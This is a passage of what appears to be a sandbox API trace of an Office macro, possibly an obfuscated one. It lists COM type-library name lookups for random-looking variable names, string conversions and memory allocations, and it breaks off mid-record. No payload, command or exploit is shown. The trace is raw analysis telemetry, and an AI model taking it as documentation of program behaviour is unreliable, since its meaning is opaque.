IUnknown:Release (This=0x7345930) returned 0x7 [0019.093] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.093] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="jputJ", lHashVal=0x103a01, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.093] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.093] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xd) returned 0x79720e0 [0019.093] strcpy_s (in: _Dst=0x305210, _DstSize=0xd, _Src="_B_var_jputJ" | out: _Dst="_B_var_jputJ") returned 0x0 [0019.093] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=13, lpWideCharStr=0x305060, cchWideChar=13 | out: lpWideCharStr="_B_var_jputJ") returned 13 [0019.093] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.093] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_jputJ", lHashVal=0x10fe2d, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.093] IUnknown:Release (This=0x7919520) returned 0x10 [0019.094] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.094] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_jputJ", lHashVal=0x10fe2d, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.094] IUnknown:Release (This=0x7346470) returned 0xb [0019.094] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.094] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_jputJ", lHashVal=0x10fe2d, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.094] IUnknown:Release (This=0x7345930) returned 0x7 [0019.094] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.094] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_jputJ", lHashVal=0x10fe2d, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.094] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.094] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.094] IUnknown:Release (This=0x7919520) returned 0x10 [0019.094] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb79bb4, cbMultiByte=27, lpWideCharStr=0xd3e205c, cchWideChar=56 | out: lpWideCharStr="DpMac^jjwNmdLoYmDqNPfNaJTqG") returned 27 [0019.094] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="wfLbfUqHnQ") returned 0x109794 [0019.094] strcpy_s (in: _Dst=0x305060, _DstSize=0xb, _Src="wfLbfUqHnQ" | out: _Dst="wfLbfUqHnQ") returned 0x0 [0019.094] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=11, lpWideCharStr=0x304eb0, cchWideChar=11 | out: lpWideCharStr="wfLbfUqHnQ") returned 11 [0019.094] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.094] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="wfLbfUqHnQ", lHashVal=0x109794, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.094] IUnknown:Release (This=0x7919520) returned 0x10 [0019.094] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.094] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="wfLbfUqHnQ", lHashVal=0x109794, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.094] IUnknown:Release (This=0x7346470) returned 0xb [0019.094] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.094] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="wfLbfUqHnQ", lHashVal=0x109794, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.094] IUnknown:Release (This=0x7345930) returned 0x7 [0019.094] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.094] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="wfLbfUqHnQ", lHashVal=0x109794, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.094] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.094] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x12) returned 0x79720e0 [0019.094] strcpy_s (in: _Dst=0x305210, _DstSize=0x12, _Src="_B_var_wfLbfUqHnQ" | out: _Dst="_B_var_wfLbfUqHnQ") returned 0x0 [0019.095] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=18, lpWideCharStr=0x305060, cchWideChar=18 | out: lpWideCharStr="_B_var_wfLbfUqHnQ") returned 18 [0019.095] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.095] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_wfLbfUqHnQ", lHashVal=0x1005bf, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.095] IUnknown:Release (This=0x7919520) returned 0x10 [0019.095] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.095] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_wfLbfUqHnQ", lHashVal=0x1005bf, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.095] IUnknown:Release (This=0x7346470) returned 0xb [0019.095] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.095] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_wfLbfUqHnQ", lHashVal=0x1005bf, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.095] IUnknown:Release (This=0x7345930) returned 0x7 [0019.095] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.095] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_wfLbfUqHnQ", lHashVal=0x1005bf, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.095] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.095] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.095] IUnknown:Release (This=0x7919520) returned 0x10 [0019.095] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb79c06, cbMultiByte=10, lpWideCharStr=0xd3e31fa, cchWideChar=22 | out: lpWideCharStr="UODjNZzNaL") returned 10 [0019.095] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb79c1a, cbMultiByte=10, lpWideCharStr=0xd3e33a4, cchWideChar=22 | out: lpWideCharStr="bjQoiNpUMT") returned 10 [0019.095] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb79c2e, cbMultiByte=10, lpWideCharStr=0xd3e354e, cchWideChar=22 | out: lpWideCharStr="ildLRMLrrN") returned 10 [0019.095] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb79c42, cbMultiByte=10, lpWideCharStr=0xd3e36f8, cchWideChar=22 | out: lpWideCharStr="afHSajRJPm") returned 10 [0019.096] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb79c56, cbMultiByte=10, lpWideCharStr=0xd3e38a2, cchWideChar=22 | out: lpWideCharStr="FkiSwhEiRY") returned 10 [0019.096] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb79c6a, cbMultiByte=10, lpWideCharStr=0xd3e3a4c, cchWideChar=22 | out: lpWideCharStr="pEVYWjlrPA") returned 10 [0019.096] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb79c7e, cbMultiByte=10, lpWideCharStr=0xd3e3bf6, cchWideChar=22 | out: lpWideCharStr="NGWNkvYzNz") returned 10 [0019.096] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xd3f0000 [0019.097] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="pQtjzDkDEKc") returned 0x10aa6c [0019.097] strcpy_s (in: _Dst=0x305060, _DstSize=0xc, _Src="pQtjzDkDEKc" | out: _Dst="pQtjzDkDEKc") returned 0x0 [0019.097] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=12, lpWideCharStr=0x304eb0, cchWideChar=12 | out: lpWideCharStr="pQtjzDkDEKc") returned 12 [0019.097] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.097] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="pQtjzDkDEKc", lHashVal=0x10aa6c, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.097] IUnknown:Release (This=0x7919520) returned 0x10 [0019.097] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.097] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="pQtjzDkDEKc", lHashVal=0x10aa6c, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.097] IUnknown:Release (This=0x7346470) returned 0xb [0019.097] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.097] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="pQtjzDkDEKc", lHashVal=0x10aa6c, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.097] IUnknown:Release (This=0x7345930) returned 0x7 [0019.097] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.097] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="pQtjzDkDEKc", lHashVal=0x10aa6c, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.097] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.098] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x13) returned 0x79720e0 [0019.098] strcpy_s (in: _Dst=0x305210, _DstSize=0x13, _Src="_B_var_pQtjzDkDEKc" | out: _Dst="_B_var_pQtjzDkDEKc") returned 0x0 [0019.098] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=19, lpWideCharStr=0x305060, cchWideChar=19 | out: lpWideCharStr="_B_var_pQtjzDkDEKc") returned 19 [0019.098] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.098] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_pQtjzDkDEKc", lHashVal=0x109bce, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.098] IUnknown:Release (This=0x7919520) returned 0x10 [0019.098] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.098] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_pQtjzDkDEKc", lHashVal=0x109bce, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.098] IUnknown:Release (This=0x7346470) returned 0xb [0019.098] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.098] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_pQtjzDkDEKc", lHashVal=0x109bce, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.098] IUnknown:Release (This=0x7345930) returned 0x7 [0019.098] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.098] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_pQtjzDkDEKc", lHashVal=0x109bce, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.098] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.098] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.098] IUnknown:Release (This=0x7919520) returned 0x10 [0019.098] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb79c9c, cbMultiByte=10, lpWideCharStr=0xd3f207c, cchWideChar=22 | out: lpWideCharStr="TLbTQTFzSJ") returned 10 [0019.098] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb79cb6, cbMultiByte=10, lpWideCharStr=0xd3f24c6, cchWideChar=22 | out: lpWideCharStr="YHuuqmzPFs") returned 10 [0019.098] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb79cca, cbMultiByte=10, lpWideCharStr=0xd3f2670, cchWideChar=22 | out: lpWideCharStr="bZPcqVQiIj") returned 10 [0019.098] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb79cde, cbMultiByte=10, lpWideCharStr=0xd3f281a, cchWideChar=22 | out: lpWideCharStr="XXULvXOIzH") returned 10 [0019.098] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb79cf2, cbMultiByte=10, lpWideCharStr=0xd3f29c4, cchWideChar=22 | out: lpWideCharStr="uKofoQUifc") returned 10 [0019.099] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb79d06, cbMultiByte=10, lpWideCharStr=0xd3f2b6e, cchWideChar=22 | out: lpWideCharStr="XiJdNuvwdu") returned 10 [0019.099] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb79d1a, cbMultiByte=10, lpWideCharStr=0xd3f2d18, cchWideChar=22 | out: lpWideCharStr="CbpllBmiwT") returned 10 [0019.099] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb79d2e, cbMultiByte=10, lpWideCharStr=0xd3f2ec2, cchWideChar=22 | out: lpWideCharStr="XoRzzQljoZ") returned 10 [0019.099] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xd400000 [0019.100] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="iMvhwNX") returned 0x106413 [0019.100] strcpy_s (in: _Dst=0x305060, _DstSize=0x8, _Src="iMvhwNX" | out: _Dst="iMvhwNX") returned 0x0 [0019.100] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=8, lpWideCharStr=0x304eb0, cchWideChar=8 | out: lpWideCharStr="iMvhwNX") returned 8 [0019.100] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.100] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="iMvhwNX", lHashVal=0x106413, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.100] IUnknown:Release (This=0x7919520) returned 0x10 [0019.100] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.100] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="iMvhwNX", lHashVal=0x106413, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.100] IUnknown:Release (This=0x7346470) returned 0xb [0019.100] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.100] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="iMvhwNX", lHashVal=0x106413, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.100] IUnknown:Release (This=0x7345930) returned 0x7 [0019.100] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.100] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="iMvhwNX", lHashVal=0x106413, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.100] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.100] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xf) returned 0x79720e0 [0019.100] strcpy_s (in: _Dst=0x305210, _DstSize=0xf, _Src="_B_var_iMvhwNX" | out: _Dst="_B_var_iMvhwNX") returned 0x0 [0019.100] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=15, lpWideCharStr=0x305060, cchWideChar=15 | out: lpWideCharStr="_B_var_iMvhwNX") returned 15 [0019.100] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.101] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_iMvhwNX", lHashVal=0x105816, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.101] IUnknown:Release (This=0x7919520) returned 0x10 [0019.101] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.101] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_iMvhwNX", lHashVal=0x105816, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.101] IUnknown:Release (This=0x7346470) returned 0xb [0019.101] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.101] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_iMvhwNX", lHashVal=0x105816, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.101] IUnknown:Release (This=0x7345930) returned 0x7 [0019.101] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.101] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_iMvhwNX", lHashVal=0x105816, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.101] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.101] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.101] IUnknown:Release (This=0x7919520) returned 0x10 [0019.101] IMalloc:Free (This=0x7fefe9e5380, pv=0x79720e0) [0019.101] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb79d4c, cbMultiByte=10, lpWideCharStr=0xd40133c, cchWideChar=22 | out: lpWideCharStr="YBTBBaVJHc") returned 10 [0019.101] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb79d66, cbMultiByte=10, lpWideCharStr=0xd401786, cchWideChar=22 | out: lpWideCharStr="KqhCZljjGc") returned 10 [0019.101] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb79d7a, cbMultiByte=10, lpWideCharStr=0xd401930, cchWideChar=22 | out: lpWideCharStr="CiECnkJtBO") returned 10 [0019.102] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xd410000 [0019.103] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="zhWtsntOiVZ") returned 0x108d9f [0019.103] strcpy_s (in: _Dst=0x305060, _DstSize=0xc, _Src="zhWtsntOiVZ" | out: _Dst="zhWtsntOiVZ") returned 0x0 [0019.103] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=12, lpWideCharStr=0x304eb0, cchWideChar=12 | out: lpWideCharStr="zhWtsntOiVZ") returned 12 [0019.103] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.103] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="zhWtsntOiVZ", lHashVal=0x108d9f, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.103] IUnknown:Release (This=0x7919520) returned 0x10 [0019.103] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.103] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="zhWtsntOiVZ", lHashVal=0x108d9f, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.103] IUnknown:Release (This=0x7346470) returned 0xb [0019.103] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.103] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="zhWtsntOiVZ", lHashVal=0x108d9f, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.103] IUnknown:Release (This=0x7345930) returned 0x7 [0019.103] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.103] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="zhWtsntOiVZ", lHashVal=0x108d9f, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.103] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.103] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x13) returned 0x79720e0 [0019.103] strcpy_s (in: _Dst=0x305210, _DstSize=0x13, _Src="_B_var_zhWtsntOiVZ" | out: _Dst="_B_var_zhWtsntOiVZ") returned 0x0 [0019.103] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=19, lpWideCharStr=0x305060, cchWideChar=19 | out: lpWideCharStr="_B_var_zhWtsntOiVZ") returned 19 [0019.103] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.103] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_zhWtsntOiVZ", lHashVal=0x107f01, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.103] IUnknown:Release (This=0x7919520) returned 0x10 [0019.103] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.103] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_zhWtsntOiVZ", lHashVal=0x107f01, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.103] IUnknown:Release (This=0x7346470) returned 0xb [0019.103] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.103] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_zhWtsntOiVZ", lHashVal=0x107f01, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.103] IUnknown:Release (This=0x7345930) returned 0x7 [0019.103] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.103] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_zhWtsntOiVZ", lHashVal=0x107f01, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.103] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.103] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.103] IUnknown:Release (This=0x7919520) returned 0x10 [0019.104] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="SfJiXl") returned 0x10e9b4 [0019.104] strcpy_s (in: _Dst=0x305060, _DstSize=0x7, _Src="SfJiXl" | out: _Dst="SfJiXl") returned 0x0 [0019.104] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=7, lpWideCharStr=0x304eb0, cchWideChar=7 | out: lpWideCharStr="SfJiXl") returned 7 [0019.104] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.104] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="SfJiXl", lHashVal=0x10e9b4, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.104] IUnknown:Release (This=0x7919520) returned 0x10 [0019.104] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.104] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="SfJiXl", lHashVal=0x10e9b4, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.104] IUnknown:Release (This=0x7346470) returned 0xb [0019.104] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.104] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="SfJiXl", lHashVal=0x10e9b4, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.104] IUnknown:Release (This=0x7345930) returned 0x7 [0019.104] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.104] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="SfJiXl", lHashVal=0x10e9b4, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.104] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.104] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xe) returned 0x79720e0 [0019.104] strcpy_s (in: _Dst=0x305210, _DstSize=0xe, _Src="_B_var_SfJiXl" | out: _Dst="_B_var_SfJiXl") returned 0x0 [0019.104] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=14, lpWideCharStr=0x305060, cchWideChar=14 | out: lpWideCharStr="_B_var_SfJiXl") returned 14 [0019.104] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.104] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_SfJiXl", lHashVal=0x10641e, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.104] IUnknown:Release (This=0x7919520) returned 0x10 [0019.104] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.104] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_SfJiXl", lHashVal=0x10641e, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.104] IUnknown:Release (This=0x7346470) returned 0xb [0019.104] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.104] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_SfJiXl", lHashVal=0x10641e, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.104] IUnknown:Release (This=0x7345930) returned 0x7 [0019.104] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.104] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_SfJiXl", lHashVal=0x10641e, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.104] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.104] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.104] IUnknown:Release (This=0x7919520) returned 0x10 [0019.105] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xd420000 [0019.106] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CwjdjGupIma") returned 0x108c0f [0019.106] strcpy_s (in: _Dst=0x305060, _DstSize=0xc, _Src="CwjdjGupIma" | out: _Dst="CwjdjGupIma") returned 0x0 [0019.106] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=12, lpWideCharStr=0x304eb0, cchWideChar=12 | out: lpWideCharStr="CwjdjGupIma") returned 12 [0019.107] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.107] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="CwjdjGupIma", lHashVal=0x108c0f, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.107] IUnknown:Release (This=0x7919520) returned 0x10 [0019.107] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.107] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="CwjdjGupIma", lHashVal=0x108c0f, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.107] IUnknown:Release (This=0x7346470) returned 0xb [0019.107] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.107] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="CwjdjGupIma", lHashVal=0x108c0f, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.107] IUnknown:Release (This=0x7345930) returned 0x7 [0019.107] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.107] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="CwjdjGupIma", lHashVal=0x108c0f, pfName=0x304f80, pBstrLibName=0x304eb0 | out: 